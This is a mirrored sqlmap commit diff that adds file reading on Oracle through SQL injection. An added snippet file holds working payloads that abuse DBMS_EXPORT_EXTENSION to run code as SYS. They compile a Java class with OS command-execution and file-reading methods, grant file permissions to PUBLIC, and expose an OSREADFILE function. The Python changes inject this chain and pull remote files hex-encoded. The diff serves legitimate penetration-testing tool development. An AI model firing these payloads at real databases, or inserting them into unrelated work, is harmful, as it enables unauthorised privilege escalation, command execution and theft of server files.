mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
Implementing support for --file-read on Oracle (Issue #26)
This commit is contained in:
parent
b3cdec547b
commit
c00a642569
4
data/procs/oracle/read_file_export_extension.sql
Normal file
4
data/procs/oracle/read_file_export_extension.sql
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
|
||||||
|
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
|
||||||
|
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
|
||||||
|
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
|
|
@ -265,7 +265,7 @@ class Agent(object):
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
def suffixQuery(self, expression, comment=None, suffix=None, where=None):
|
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
|
||||||
"""
|
"""
|
||||||
This method appends the DBMS comment to the
|
This method appends the DBMS comment to the
|
||||||
SQL injection request
|
SQL injection request
|
||||||
|
@ -303,7 +303,7 @@ class Agent(object):
|
||||||
|
|
||||||
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
|
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
|
||||||
|
|
||||||
return re.sub(r";\W*;", ";", expression)
|
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
|
||||||
|
|
||||||
def cleanupPayload(self, payload, origValue=None):
|
def cleanupPayload(self, payload, origValue=None):
|
||||||
if payload is None:
|
if payload is None:
|
||||||
|
|
|
@ -18,7 +18,7 @@ from lib.core.enums import OS
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.3.6.6"
|
VERSION = "1.3.6.7"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
|
|
|
@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||||
|
|
||||||
threadData.resumed = retVal is not None and not partialValue
|
threadData.resumed = retVal is not None and not partialValue
|
||||||
|
|
||||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
|
||||||
debugMsg = "searching for error chunk length..."
|
debugMsg = "searching for error chunk length..."
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -82,8 +82,11 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||||
while current >= MIN_ERROR_CHUNK_LENGTH:
|
while current >= MIN_ERROR_CHUNK_LENGTH:
|
||||||
testChar = str(current % 10)
|
testChar = str(current % 10)
|
||||||
|
|
||||||
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
|
if Backend.isDbms(DBMS.ORACLE):
|
||||||
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
|
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
|
||||||
|
else:
|
||||||
|
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
|
||||||
|
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
|
||||||
|
|
||||||
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
|
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
|
||||||
|
|
||||||
|
@ -112,7 +115,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||||
if field:
|
if field:
|
||||||
nulledCastedField = agent.nullAndCastField(field)
|
nulledCastedField = agent.nullAndCastField(field)
|
||||||
|
|
||||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
|
||||||
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
||||||
if extendedField != field: # e.g. MIN(surname)
|
if extendedField != field: # e.g. MIN(surname)
|
||||||
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
||||||
|
@ -172,7 +175,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||||
else:
|
else:
|
||||||
output = output.rstrip()
|
output = output.rstrip()
|
||||||
|
|
||||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
|
||||||
if offset == 1:
|
if offset == 1:
|
||||||
retVal = output
|
retVal = output
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -5,14 +5,51 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import dataToOutFile
|
||||||
|
from lib.core.common import decodeDbmsHexValue
|
||||||
|
from lib.core.common import getSQLSnippet
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import CHARSET_TYPE
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
class Filesystem(GenericFilesystem):
|
class Filesystem(GenericFilesystem):
|
||||||
def readFile(self, remoteFile):
|
def readFile(self, remoteFile):
|
||||||
errMsg = "File system read access not yet implemented for "
|
localFilePaths = []
|
||||||
errMsg += "Oracle"
|
snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")
|
||||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
||||||
|
for query in snippet.split("\n"):
|
||||||
|
query = query.strip()
|
||||||
|
query = agent.prefixQuery("OR (%s) IS NULL" % query)
|
||||||
|
query = agent.suffixQuery(query, trimEmpty=False)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
|
||||||
|
|
||||||
|
for remoteFile in remoteFile.split(','):
|
||||||
|
infoMsg = "fetching file: '%s'" % remoteFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
kb.fileReadMode = True
|
||||||
|
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
|
||||||
|
kb.fileReadMode = False
|
||||||
|
|
||||||
|
if fileContent is not None:
|
||||||
|
fileContent = decodeDbmsHexValue(fileContent, True)
|
||||||
|
|
||||||
|
if fileContent:
|
||||||
|
localFilePath = dataToOutFile(remoteFile, fileContent)
|
||||||
|
|
||||||
|
localFilePaths.append(localFilePath)
|
||||||
|
else:
|
||||||
|
errMsg = "no data retrieved"
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
|
return localFilePaths
|
||||||
|
|
||||||
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||||
errMsg = "File system write access not yet implemented for "
|
errMsg = "File system write access not yet implemented for "
|
||||||
|
|
Loading…
Reference in New Issue
Block a user